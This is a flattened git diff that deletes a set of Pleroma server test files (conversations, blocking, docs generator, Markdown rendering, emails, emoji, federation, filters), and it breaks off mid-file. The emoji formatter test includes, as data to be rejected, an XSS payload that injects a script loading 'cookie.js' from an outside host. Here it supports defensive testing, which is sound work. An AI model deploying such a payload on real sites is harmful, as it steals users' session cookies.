assert [participation_one, participation_two] = Participation.for_user(user) - - object2 = Pleroma.Object.normalize(activity_two) - object3 = Pleroma.Object.normalize(activity_three) - - user = Repo.get(Pleroma.User, user.id) - - assert participation_one.conversation.ap_id == object3.data["context"] - assert participation_two.conversation.ap_id == object2.data["context"] - assert participation_one.conversation.users == [user] - - # Pagination - assert [participation_one] = Participation.for_user(user, %{"limit" => 1}) - - assert participation_one.conversation.ap_id == object3.data["context"] - - # With last_activity_id - assert [participation_one] = - Participation.for_user_with_last_activity_id(user, %{"limit" => 1}) - - assert participation_one.last_activity_id == activity_three.id - end - - test "Doesn't die when the conversation gets empty" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - [participation] = Participation.for_user_with_last_activity_id(user) - - assert participation.last_activity_id == activity.id - - {:ok, _} = CommonAPI.delete(activity.id, user) - - [] = Participation.for_user_with_last_activity_id(user) - end - - test "it sets recipients, always keeping the owner of the participation even when not explicitly set" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - [participation] = Participation.for_user_with_last_activity_id(user) - - participation = Repo.preload(participation, :recipients) - user = User.get_cached_by_id(user.id) - - assert participation.recipients |> length() == 1 - assert user in participation.recipients - - {:ok, participation} = Participation.set_recipients(participation, [other_user.id]) - - assert participation.recipients |> length() == 2 - assert user in participation.recipients - assert other_user in participation.recipients - end - - describe "blocking" do - test "when the user blocks a recipient, the existing conversations with them are marked as read" do - blocker = insert(:user) - blocked = insert(:user) - third_user = insert(:user) - - {:ok, _direct1} = - CommonAPI.post(third_user, %{ - status: "Hi @#{blocker.nickname}", - visibility: "direct" - }) - - {:ok, _direct2} = - CommonAPI.post(third_user, %{ - status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", - visibility: "direct" - }) - - {:ok, _direct3} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}", - visibility: "direct" - }) - - {:ok, _direct4} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}, @#{third_user.nickname}", - visibility: "direct" - }) - - assert [%{read: false}, %{read: false}, %{read: false}, %{read: false}] = - Participation.for_user(blocker) - - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 4 - - {:ok, _user_relationship} = User.block(blocker, blocked) - - # The conversations with the blocked user are marked as read - assert [%{read: true}, %{read: true}, %{read: true}, %{read: false}] = - Participation.for_user(blocker) - - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 1 - - # The conversation is not marked as read for the blocked user - assert [_, _, %{read: false}] = Participation.for_user(blocked) - assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 - - # The conversation is not marked as read for the third user - assert [%{read: false}, _, _] = Participation.for_user(third_user) - assert User.get_cached_by_id(third_user.id).unread_conversation_count == 1 - end - - test "the new conversation with the blocked user is not marked as unread " do - blocker = insert(:user) - blocked = insert(:user) - third_user = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blocked) - - # When the blocked user is the author - {:ok, _direct1} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}", - visibility: "direct" - }) - - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - # When the blocked user is a recipient - {:ok, _direct2} = - CommonAPI.post(third_user, %{ - status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", - visibility: "direct" - }) - - assert [%{read: true}, %{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - assert [%{read: false}, _] = Participation.for_user(blocked) - assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 - end - - test "the conversation with the blocked user is not marked as unread on a reply" do - blocker = insert(:user) - blocked = insert(:user) - third_user = insert(:user) - - {:ok, _direct1} = - CommonAPI.post(blocker, %{ - status: "Hi @#{third_user.nickname}, @#{blocked.nickname}", - visibility: "direct" - }) - - {:ok, _user_relationship} = User.block(blocker, blocked) - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - assert [blocked_participation] = Participation.for_user(blocked) - - # When it's a reply from the blocked user - {:ok, _direct2} = - CommonAPI.post(blocked, %{ - status: "reply", - visibility: "direct", - in_reply_to_conversation_id: blocked_participation.id - }) - - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - assert [third_user_participation] = Participation.for_user(third_user) - - # When it's a reply from the third user - {:ok, _direct3} = - CommonAPI.post(third_user, %{ - status: "reply", - visibility: "direct", - in_reply_to_conversation_id: third_user_participation.id - }) - - assert [%{read: true}] = Participation.for_user(blocker) - assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 - - # Marked as unread for the blocked user - assert [%{read: false}] = Participation.for_user(blocked) - assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 - end - end -end diff --git a/test/conversation_test.exs b/test/conversation_test.exs deleted file mode 100644 index 359aa6840..000000000 --- a/test/conversation_test.exs +++ /dev/null @@ -1,199 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConversationTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Conversation - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do: clear_config([:instance, :federating], true) - - test "it goes through old direct conversations" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{visibility: "direct", status: "hey @#{other_user.nickname}"}) - - Pleroma.Tests.ObanHelpers.perform_all() - - Repo.delete_all(Conversation) - Repo.delete_all(Conversation.Participation) - - refute Repo.one(Conversation) - - Conversation.bump_for_all_activities() - - assert Repo.one(Conversation) - [participation, _p2] = Repo.all(Conversation.Participation) - - assert participation.read - end - - test "it creates a conversation for given ap_id" do - assert {:ok, %Conversation{} = conversation} = - Conversation.create_for_ap_id("https://some_ap_id") - - # Inserting again returns the same - assert {:ok, conversation_two} = Conversation.create_for_ap_id("https://some_ap_id") - assert conversation_two.id == conversation.id - end - - test "public posts don't create conversations" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "Hey"}) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation = Conversation.get_for_ap_id(context) - - refute conversation - end - - test "it creates or updates a conversation and participations for a given DM" do - har = insert(:user) - jafnhar = insert(:user, local: false) - tridi = insert(:user) - - {:ok, activity} = - CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation = - Conversation.get_for_ap_id(context) - |> Repo.preload(:participations) - - assert conversation - - assert Enum.find(conversation.participations, fn %{user_id: user_id} -> har.id == user_id end) - - assert Enum.find(conversation.participations, fn %{user_id: user_id} -> - jafnhar.id == user_id - end) - - {:ok, activity} = - CommonAPI.post(jafnhar, %{ - status: "Hey @#{har.nickname}", - visibility: "direct", - in_reply_to_status_id: activity.id - }) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation_two = - Conversation.get_for_ap_id(context) - |> Repo.preload(:participations) - - assert conversation_two.id == conversation.id - - assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> - har.id == user_id - end) - - assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> - jafnhar.id == user_id - end) - - {:ok, activity} = - CommonAPI.post(tridi, %{ - status: "Hey @#{har.nickname}", - visibility: "direct", - in_reply_to_status_id: activity.id - }) - - object = Pleroma.Object.normalize(activity) - context = object.data["context"] - - conversation_three = - Conversation.get_for_ap_id(context) - |> Repo.preload([:participations, :users]) - - assert conversation_three.id == conversation.id - - assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> - har.id == user_id - end) - - assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> - jafnhar.id == user_id - end) - - assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> - tridi.id == user_id - end) - - assert Enum.find(conversation_three.users, fn %{id: user_id} -> - har.id == user_id - end) - - assert Enum.find(conversation_three.users, fn %{id: user_id} -> - jafnhar.id == user_id - end) - - assert Enum.find(conversation_three.users, fn %{id: user_id} -> - tridi.id == user_id - end) - end - - test "create_or_bump_for returns the conversation with participations" do - har = insert(:user) - jafnhar = insert(:user, local: false) - - {:ok, activity} = - CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) - - {:ok, conversation} = Conversation.create_or_bump_for(activity) - - assert length(conversation.participations) == 2 - - {:ok, activity} = - CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "public"}) - - assert {:error, _} = Conversation.create_or_bump_for(activity) - end - - test "create_or_bump_for does not normalize objects before checking the activity type" do - note = insert(:note) - note_id = note.data["id"] - Repo.delete(note) - refute Object.get_by_ap_id(note_id) - - Tesla.Mock.mock(fn env -> - case env.url do - ^note_id -> - # TODO: add attributedTo and tag to the note factory - body = - note.data - |> Map.put("attributedTo", note.data["actor"]) - |> Map.put("tag", []) - |> Jason.encode!() - - %Tesla.Env{status: 200, body: body} - end - end) - - undo = %Activity{ - id: "fake", - data: %{ - "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), - "actor" => note.data["actor"], - "to" => [note.data["actor"]], - "object" => note_id, - "type" => "Undo" - } - } - - Conversation.create_or_bump_for(undo) - - refute Object.get_by_ap_id(note_id) - end -end diff --git a/test/docs/generator_test.exs b/test/docs/generator_test.exs deleted file mode 100644 index 43877244d..000000000 --- a/test/docs/generator_test.exs +++ /dev/null @@ -1,226 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Docs.GeneratorTest do - use ExUnit.Case, async: true - alias Pleroma.Docs.Generator - - @descriptions [ - %{ - group: :pleroma, - key: Pleroma.Upload, - type: :group, - description: "", - children: [ - %{ - key: :uploader, - type: :module, - description: "", - suggestions: {:list_behaviour_implementations, Pleroma.Upload.Filter} - }, - %{ - key: :filters, - type: {:list, :module}, - description: "", - suggestions: {:list_behaviour_implementations, Pleroma.Web.ActivityPub.MRF} - }, - %{ - key: Pleroma.Upload, - type: :string, - description: "", - suggestions: [""] - }, - %{ - key: :some_key, - type: :keyword, - description: "", - suggestions: [], - children: [ - %{ - key: :another_key, - type: :integer, - description: "", - suggestions: [5] - }, - %{ - key: :another_key_with_label, - label: "Another label", - type: :integer, - description: "", - suggestions: [7] - } - ] - }, - %{ - key: :key1, - type: :atom, - description: "", - suggestions: [ - :atom, - Pleroma.Upload, - {:tuple, "string", 8080}, - [:atom, Pleroma.Upload, {:atom, Pleroma.Upload}] - ] - }, - %{ - key: Pleroma.Upload, - label: "Special Label", - type: :string, - description: "", - suggestions: [""] - }, - %{ - group: {:subgroup, Swoosh.Adapters.SMTP}, - key: :auth, - type: :atom, - description: "`Swoosh.Adapters.SMTP` adapter specific setting", - suggestions: [:always, :never, :if_available] - }, - %{ - key: "application/xml", - type: {:list, :string}, - suggestions: ["xml"] - }, - %{ - key: :versions, - type: {:list, :atom}, - description: "List of TLS version to use", - suggestions: [:tlsv1, ":tlsv1.1", ":tlsv1.2"] - } - ] - }, - %{ - group: :tesla, - key: :adapter, - type: :group, - description: "" - }, - %{ - group: :cors_plug, - type: :group, - children: [%{key: :key1, type: :string, suggestions: [""]}] - }, - %{group: "Some string group", key: "Some string key", type: :group} - ] - - describe "convert_to_strings/1" do - test "group, key, label" do - [desc1, desc2 | _] = Generator.convert_to_strings(@descriptions) - - assert desc1[:group] == ":pleroma" - assert desc1[:key] == "Pleroma.Upload" - assert desc1[:label] == "Pleroma.Upload" - - assert desc2[:group] == ":tesla" - assert desc2[:key] == ":adapter" - assert desc2[:label] == "Adapter" - end - - test "group without key" do - descriptions = Generator.convert_to_strings(@descriptions) - desc = Enum.at(descriptions, 2) - - assert desc[:group] == ":cors_plug" - refute desc[:key] - assert desc[:label] == "Cors plug" - end - - test "children key, label, type" do - [%{children: [child1, child2, child3, child4 | _]} | _] = - Generator.convert_to_strings(@descriptions) - - assert child1[:key] == ":uploader" - assert child1[:label] == "Uploader" - assert child1[:type] == :module - - assert child2[:key] == ":filters" - assert child2[:label] == "Filters" - assert child2[:type] == {:list, :module} - - assert child3[:key] == "Pleroma.Upload" - assert child3[:label] == "Pleroma.Upload" - assert child3[:type] == :string - - assert child4[:key] == ":some_key" - assert child4[:label] == "Some key" - assert child4[:type] == :keyword - end - - test "child with predefined label" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 5) - assert child[:key] == "Pleroma.Upload" - assert child[:label] == "Special Label" - end - - test "subchild" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 3) - %{children: [subchild | _]} = child - - assert subchild[:key] == ":another_key" - assert subchild[:label] == "Another key" - assert subchild[:type] == :integer - end - - test "subchild with predefined label" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 3) - %{children: subchildren} = child - subchild = Enum.at(subchildren, 1) - - assert subchild[:key] == ":another_key_with_label" - assert subchild[:label] == "Another label" - end - - test "module suggestions" do - [%{children: [%{suggestions: suggestions} | _]} | _] = - Generator.convert_to_strings(@descriptions) - - Enum.each(suggestions, fn suggestion -> - assert String.starts_with?(suggestion, "Pleroma.") - end) - end - - test "atoms in suggestions with leading `:`" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - %{suggestions: suggestions} = Enum.at(children, 4) - assert Enum.at(suggestions, 0) == ":atom" - assert Enum.at(suggestions, 1) == "Pleroma.Upload" - assert Enum.at(suggestions, 2) == {":tuple", "string", 8080} - assert Enum.at(suggestions, 3) == [":atom", "Pleroma.Upload", {":atom", "Pleroma.Upload"}] - - %{suggestions: suggestions} = Enum.at(children, 6) - assert Enum.at(suggestions, 0) == ":always" - assert Enum.at(suggestions, 1) == ":never" - assert Enum.at(suggestions, 2) == ":if_available" - end - - test "group, key as string in main desc" do - descriptions = Generator.convert_to_strings(@descriptions) - desc = Enum.at(descriptions, 3) - assert desc[:group] == "Some string group" - assert desc[:key] == "Some string key" - end - - test "key as string subchild" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 7) - assert child[:key] == "application/xml" - end - - test "suggestion for tls versions" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - child = Enum.at(children, 8) - assert child[:suggestions] == [":tlsv1", ":tlsv1.1", ":tlsv1.2"] - end - - test "subgroup with module name" do - [%{children: children} | _] = Generator.convert_to_strings(@descriptions) - - %{group: subgroup} = Enum.at(children, 6) - assert subgroup == {":subgroup", "Swoosh.Adapters.SMTP"} - end - end -end diff --git a/test/earmark_renderer_test.exs b/test/earmark_renderer_test.exs deleted file mode 100644 index 220d97d16..000000000 --- a/test/earmark_renderer_test.exs +++ /dev/null @@ -1,79 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.EarmarkRendererTest do - use ExUnit.Case - - test "Paragraph" do - code = ~s[Hello\n\nWorld!] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

Hello

World!

" - end - - test "raw HTML" do - code = ~s[OwO] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

#{code}

" - end - - test "rulers" do - code = ~s[before\n\n-----\n\nafter] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

before


after

" - end - - test "headings" do - code = ~s[# h1\n## h2\n### h3\n] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

h1

h2

h3

] - end - - test "blockquote" do - code = ~s[> whoms't are you quoting?] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

whoms’t are you quoting?

" - end - - test "code" do - code = ~s[`mix`] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

mix

] - - code = ~s[``mix``] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

mix

] - - code = ~s[```\nputs "Hello World"\n```] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[
puts "Hello World"
] - end - - test "lists" do - code = ~s[- one\n- two\n- three\n- four] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "
  • one
  • two
  • three
  • four
" - - code = ~s[1. one\n2. two\n3. three\n4. four\n] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "
  1. one
  2. two
  3. three
  4. four
" - end - - test "delegated renderers" do - code = ~s[a
b] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == "

#{code}

" - - code = ~s[*aaaa~*] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

aaaa~

] - - code = ~s[**aaaa~**] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

aaaa~

] - - # strikethrought - code = ~s[aaaa~] - result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) - assert result == ~s[

aaaa~

] - end -end diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs deleted file mode 100644 index 155057f3e..000000000 --- a/test/emails/admin_email_test.exs +++ /dev/null @@ -1,69 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emails.AdminEmailTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Emails.AdminEmail - alias Pleroma.Web.Router.Helpers - - test "build report email" do - config = Pleroma.Config.get(:instance) - to_user = insert(:user) - reporter = insert(:user) - account = insert(:user) - - res = - AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") - - status_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, "12") - reporter_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, reporter.id) - account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) - - assert res.to == [{to_user.name, to_user.email}] - assert res.from == {config[:name], config[:notify_email]} - assert res.subject == "#{config[:name]} Report" - - assert res.html_body == - "

Reported by: #{reporter.nickname}

\n

Reported Account: #{account.nickname}

\n

Comment: Test comment\n

Statuses:\n

\n

\n\n

\nView Reports in AdminFE\n" - end - - test "it works when the reporter is a remote user without email" do - config = Pleroma.Config.get(:instance) - to_user = insert(:user) - reporter = insert(:user, email: nil, local: false) - account = insert(:user) - - res = - AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") - - assert res.to == [{to_user.name, to_user.email}] - assert res.from == {config[:name], config[:notify_email]} - end - - test "new unapproved registration email" do - config = Pleroma.Config.get(:instance) - to_user = insert(:user) - account = insert(:user, registration_reason: "Plz let me in") - - res = AdminEmail.new_unapproved_registration(to_user, account) - - account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) - - assert res.to == [{to_user.name, to_user.email}] - assert res.from == {config[:name], config[:notify_email]} - assert res.subject == "New account up for review on #{config[:name]} (@#{account.nickname})" - - assert res.html_body == """ -

New account for review: @#{account.nickname}

-
Plz let me in
- Visit AdminFE - """ - end -end diff --git a/test/emails/mailer_test.exs b/test/emails/mailer_test.exs deleted file mode 100644 index 9e232d2a0..000000000 --- a/test/emails/mailer_test.exs +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emails.MailerTest do - use Pleroma.DataCase - alias Pleroma.Emails.Mailer - - import Swoosh.TestAssertions - - @email %Swoosh.Email{ - from: {"Pleroma", "noreply@example.com"}, - html_body: "Test email", - subject: "Pleroma test email", - to: [{"Test User", "user1@example.com"}] - } - setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) - - test "not send email when mailer is disabled" do - clear_config([Pleroma.Emails.Mailer, :enabled], false) - Mailer.deliver(@email) - :timer.sleep(100) - - refute_email_sent( - from: {"Pleroma", "noreply@example.com"}, - to: [{"Test User", "user1@example.com"}], - html_body: "Test email", - subject: "Pleroma test email" - ) - end - - test "send email" do - Mailer.deliver(@email) - :timer.sleep(100) - - assert_email_sent( - from: {"Pleroma", "noreply@example.com"}, - to: [{"Test User", "user1@example.com"}], - html_body: "Test email", - subject: "Pleroma test email" - ) - end - - test "perform" do - Mailer.perform(:deliver_async, @email, []) - :timer.sleep(100) - - assert_email_sent( - from: {"Pleroma", "noreply@example.com"}, - to: [{"Test User", "user1@example.com"}], - html_body: "Test email", - subject: "Pleroma test email" - ) - end -end diff --git a/test/emails/user_email_test.exs b/test/emails/user_email_test.exs deleted file mode 100644 index a75623bb4..000000000 --- a/test/emails/user_email_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emails.UserEmailTest do - use Pleroma.DataCase - - alias Pleroma.Emails.UserEmail - alias Pleroma.Web.Endpoint - alias Pleroma.Web.Router - - import Pleroma.Factory - - test "build password reset email" do - config = Pleroma.Config.get(:instance) - user = insert(:user) - email = UserEmail.password_reset_email(user, "test_token") - assert email.from == {config[:name], config[:notify_email]} - assert email.to == [{user.name, user.email}] - assert email.subject == "Password reset" - assert email.html_body =~ Router.Helpers.reset_password_url(Endpoint, :reset, "test_token") - end - - test "build user invitation email" do - config = Pleroma.Config.get(:instance) - user = insert(:user) - token = %Pleroma.UserInviteToken{token: "test-token"} - email = UserEmail.user_invitation_email(user, token, "test@test.com", "Jonh") - assert email.from == {config[:name], config[:notify_email]} - assert email.subject == "Invitation to Pleroma" - assert email.to == [{"Jonh", "test@test.com"}] - - assert email.html_body =~ - Router.Helpers.redirect_url(Endpoint, :registration_page, token.token) - end - - test "build account confirmation email" do - config = Pleroma.Config.get(:instance) - user = insert(:user, confirmation_token: "conf-token") - email = UserEmail.account_confirmation_email(user) - assert email.from == {config[:name], config[:notify_email]} - assert email.to == [{user.name, user.email}] - assert email.subject == "#{config[:name]} account confirmation" - - assert email.html_body =~ - Router.Helpers.confirm_email_url(Endpoint, :confirm_email, user.id, "conf-token") - end -end diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs deleted file mode 100644 index 12af6cd8b..000000000 --- a/test/emoji/formatter_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emoji.FormatterTest do - alias Pleroma.Emoji.Formatter - use Pleroma.DataCase - - describe "emojify" do - test "it adds cool emoji" do - text = "I love :firefox:" - - expected_result = - "I love \"firefox\"" - - assert Formatter.emojify(text) == expected_result - end - - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = - { - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", - "https://placehold.it/1x1" - } - |> Pleroma.Emoji.build() - - refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text - end - end - - describe "get_emoji_map" do - test "it returns the emoji used in the text" do - assert Formatter.get_emoji_map("I love :firefox:") == %{ - "firefox" => "http://localhost:4001/emoji/Firefox.gif" - } - end - - test "it returns a nice empty result when no emojis are present" do - assert Formatter.get_emoji_map("I love moominamma") == %{} - end - - test "it doesn't die when text is absent" do - assert Formatter.get_emoji_map(nil) == %{} - end - end -end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs deleted file mode 100644 index 804039e7e..000000000 --- a/test/emoji/loader_test.exs +++ /dev/null @@ -1,83 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emoji.LoaderTest do - use ExUnit.Case, async: true - alias Pleroma.Emoji.Loader - - describe "match_extra/2" do - setup do - groups = [ - "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], - "wildcard folder": "/emoji/custom/*/file.png", - "wildcard files": "/emoji/custom/folder/*.png", - "special file": "/emoji/custom/special.png" - ] - - {:ok, groups: groups} - end - - test "config for list of files", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/first_file.png") - |> to_string() - - assert group == "list of files" - end - - test "config with wildcard folder", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/some_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard folder and subfolders", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard files", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config with wildcard files and subfolders", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config for special file", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/custom/special.png") - |> to_string() - - assert group == "special file" - end - - test "no mathing returns nil", %{groups: groups} do - group = - groups - |> Loader.match_extra("/emoji/some_undefined.png") - - refute group - end - end -end diff --git a/test/emoji_test.exs b/test/emoji_test.exs deleted file mode 100644 index 1dd3c58c6..000000000 --- a/test/emoji_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.EmojiTest do - use ExUnit.Case - alias Pleroma.Emoji - - describe "is_unicode_emoji?/1" do - test "tells if a string is an unicode emoji" do - refute Emoji.is_unicode_emoji?("X") - assert Emoji.is_unicode_emoji?("☂") - assert Emoji.is_unicode_emoji?("🥺") - end - end - - describe "get_all/0" do - setup do - emoji_list = Emoji.get_all() - {:ok, emoji_list: emoji_list} - end - - test "first emoji", %{emoji_list: emoji_list} do - [emoji | _others] = emoji_list - {code, %Emoji{file: path, tags: tags}} = emoji - - assert tuple_size(emoji) == 2 - assert is_binary(code) - assert is_binary(path) - assert is_list(tags) - end - - test "random emoji", %{emoji_list: emoji_list} do - emoji = Enum.random(emoji_list) - {code, %Emoji{file: path, tags: tags}} = emoji - - assert tuple_size(emoji) == 2 - assert is_binary(code) - assert is_binary(path) - assert is_list(tags) - end - end -end diff --git a/test/federation/federation_test.exs b/test/federation/federation_test.exs deleted file mode 100644 index 10d71fb88..000000000 --- a/test/federation/federation_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Integration.FederationTest do - use Pleroma.DataCase - @moduletag :federated - import Pleroma.Cluster - - setup_all do - Pleroma.Cluster.spawn_default_cluster() - :ok - end - - @federated1 :"federated1@127.0.0.1" - describe "federated cluster primitives" do - test "within/2 captures local bindings and executes block on remote node" do - captured_binding = :captured - - result = - within @federated1 do - user = Pleroma.Factory.insert(:user) - {captured_binding, node(), user} - end - - assert {:captured, @federated1, user} = result - refute Pleroma.User.get_by_id(user.id) - assert user.id == within(@federated1, do: Pleroma.User.get_by_id(user.id)).id - end - - test "runs webserver on customized port" do - {nickname, url, url_404} = - within @federated1 do - import Pleroma.Web.Router.Helpers - user = Pleroma.Factory.insert(:user) - user_url = account_url(Pleroma.Web.Endpoint, :show, user) - url_404 = account_url(Pleroma.Web.Endpoint, :show, "not-exists") - - {user.nickname, user_url, url_404} - end - - assert {:ok, {{_, 200, _}, _headers, body}} = :httpc.request(~c"#{url}") - assert %{"acct" => ^nickname} = Jason.decode!(body) - assert {:ok, {{_, 404, _}, _headers, _body}} = :httpc.request(~c"#{url_404}") - end - end -end diff --git a/test/filter_test.exs b/test/filter_test.exs deleted file mode 100644 index 0a5c4426a..000000000 --- a/test/filter_test.exs +++ /dev/null @@ -1,158 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FilterTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Filter - alias Pleroma.Repo - - describe "creating filters" do - test "creating one filter" do - user = insert(:user) - - query = %Filter{ - user_id: user.id, - filter_id: 42, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter} = Filter.create(query) - result = Filter.get(filter.filter_id, user) - assert query.phrase == result.phrase - end - - test "creating one filter without a pre-defined filter_id" do - user = insert(:user) - - query = %Filter{ - user_id: user.id, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter} = Filter.create(query) - # Should start at 1 - assert filter.filter_id == 1 - end - - test "creating additional filters uses previous highest filter_id + 1" do - user = insert(:user) - - query_one = %Filter{ - user_id: user.id, - filter_id: 42, - phrase: "knights", 